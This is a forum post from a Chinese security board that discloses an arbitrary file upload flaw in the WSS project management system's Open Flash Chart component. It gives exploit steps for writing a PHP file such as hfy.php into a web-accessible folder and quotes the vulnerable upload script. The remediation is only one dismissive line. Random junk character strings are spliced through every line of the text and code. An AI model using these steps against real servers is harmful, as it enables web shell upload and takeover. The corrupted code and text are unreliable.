找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2340|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存0 h3 R) t: Y! |# Z5 V! i; @! u
漏洞文件/chart/php-ofc-library/ofc_upload_image.php2 N, B& R7 l- o$ W1 x0 L0 h
9 I3 V* S$ e3 H& @: y
利用:
) ^* m3 `! t: L4 ?7 o" K  Q/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
0 M( F: G! X; C* N# {+ R; T% }1 z7 Z5 h5 c$ |4 z) B5 c
Post任意数据
* c: g" x2 O, x3 X/ h保存位置http://localhost/chart/tmp-upload-images/hfy.php2 G0 \* A) V% Q4 J  I
7 A4 G+ W7 d5 e$ Z
# b+ t; F6 d  s0 u! T% `+ H$ e
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
/ J! V, d* R: B, ^( c
* g9 r, f- `( }& o<?php
/ M6 Q4 y. Q# O5 Z9 g2 C0 R) q, m# o  j% M
//7 G/ C  p2 Q& S
// In Open Flash Chart -> save_image debug mode, you! B9 q# A" J0 T
// will see the 'echo' text in a new window.5 Q5 j. L# X( s2 t9 ~- V
//9 B; p' w7 |" @- @
7 }$ x; o  D9 W) m% J$ P! q
/*+ c0 Y/ p/ e& m5 u. P. j
5 @- B  F( v; j1 z% k3 o* h0 V% J: L
print_r( $_GET );
9 a; s6 h0 q; dprint_r( $_POST );2 X0 l0 i# `3 C, t
print_r( $_FILES );
( I' Z3 G. \  I7 ?' u  l: i' Y3 U
" t. b4 Q6 @9 I; y0 \; I+ uprint_r( $GLOBALS );6 c+ B2 [! R$ V# l. W5 H2 @
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" L* {6 A( j8 s" d4 |
/ ]3 U  v1 b/ K% F% Y1 z*/
" H6 ^: J3 \& H8 z! C/ }// default path for the image to be stored //
% U5 p. l4 m- {9 v% c3 n$default_path = '../tmp-upload-images/';
* {: N" a1 f) `) u0 Y: B3 ?* A2 d" @1 ]& p7 h  b* t2 ^. y# l7 A
if (!file_exists($default_path)) mkdir($default_path, 0777, true);, L+ `% V: D3 u+ E" u" [" Z6 D
' f5 v/ i0 G( [, I
// full path to the saved image including filename //
) k. M, z9 G% j: T$destination = $default_path . basename( $_GET[ 'name' ] ); ) L; _  N9 H# U% ?) `1 E) F9 N/ @5 R1 X
+ s& r6 _) @6 g$ H- o
echo 'Saving your image to: '. $destination;7 |' B5 @1 |8 S. Y  J- E' b
// print_r( $_POST );
$ G" ]' _2 L4 e+ `// print_r( $_SERVER );
# c. V6 ]# G. c3 y// echo $HTTP_RAW_POST_DATA;9 ?* c4 O0 H. X9 ^
' F0 l( A6 f5 _
//. \+ X0 S& k% b" d. ?
// POST data is usually string data, but we are passing a RAW .png
+ e# n. C: O0 }// so PHP is a bit confused and $_POST is empty. But it has saved
8 ?% P! n- R& Z. D// the raw bits into $HTTP_RAW_POST_DATA
8 ^( w- ]# P. @$ U- v- {//8 B* F; f: Y& @  L# A4 j

6 @6 W, ^  X. _( d! g7 a$jfh = fopen($destination, 'w') or die("can't open file");' [% R2 I( g$ d% \8 X! e3 I
fwrite($jfh, $HTTP_RAW_POST_DATA);, f! D* Y$ u& D1 m( l" `0 V4 V5 G( L
fclose($jfh);
7 u* Y; P5 }: u) m5 D: _5 m
* m5 I) n, {" z9 T( ^. L8 i8 [' D, M& g//, Z3 _% @3 U3 z- T
// LOOK:0 k6 u3 X3 b2 A+ L. G' l3 k
//) T, R9 g% d- A9 u, j3 L# p
exit();# S2 ?# ]: f+ C8 O% d2 o, y* [% W
//
' Y# e, |; c* {* w// PHP5:
& e# E/ V! i3 v( B7 }( T3 C//
5 |- j! N0 f. b' M9 V- A0 @5 x4 x0 y
' {6 K4 u% B6 w; X
// default path for the image to be stored //: R7 G/ V7 u2 ~) v2 u# ~) r
$default_path = 'tmp-upload-images/';, p+ H1 l6 g+ J. A: F) ~9 ^( R
9 R/ L3 Z* T$ q
if (!file_exists($default_path)) mkdir($default_path, 0777, true);3 @0 d5 G6 G) `# Y" e7 s

! Y, L) F+ C5 Y: ]// full path to the saved image including filename //
8 ~9 A$ G* n. g! V+ W$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 0 `1 w, ^3 }# c* R1 k5 q
8 I# V7 K6 ?4 P1 h9 H/ `# k( [, S
// move the image into the specified directory //
* W" Z. ]. T% g9 B( \( S' yif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {/ x! l9 z1 A! k( p
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
% L% c1 a- d6 D} else {
% ^) @( r6 Q# S% @- r    echo "FILE UPLOAD FAILED";
! X( |1 b! F: O1 L; X! T' j" t}
' \1 N( l5 D3 B! P% _0 C5 g0 b0 o
, M, G% \3 X8 D& F) ?5 o# F* q/ u6 x# j) O0 `& f* I
?>
+ [& O( \, r' w: Y1 f1 R7 H7 K7 v$ M7 l" M/ ]$ s/ G% O1 ]8 q
. H0 Q1 j$ ?! e0 n4 k4 R

0 l! H; p8 K9 F
2 [8 I1 p' F& L1 l! _
/ v% J. v1 i/ ~! q& ^$ v7 S9 O; E% w/ r
修复方案:
) k/ C7 J& I% M/ u6 ]5 T8 \这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 2 f' r- ?7 c) H+ l* B8 g" z; k
: y7 r3 W6 L$ j' H6 U7 @- R
( L1 ]8 C3 S& ]

! N; ]6 ]# ?9 e8 z* {  e. K: r$ ?/ i; L7 `7 Z; {/ ?2 w! Y. p

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表